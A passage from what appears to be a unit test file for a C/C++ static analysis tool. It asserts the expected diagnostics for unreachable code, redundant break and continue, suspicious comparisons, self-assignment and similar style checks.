\"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n 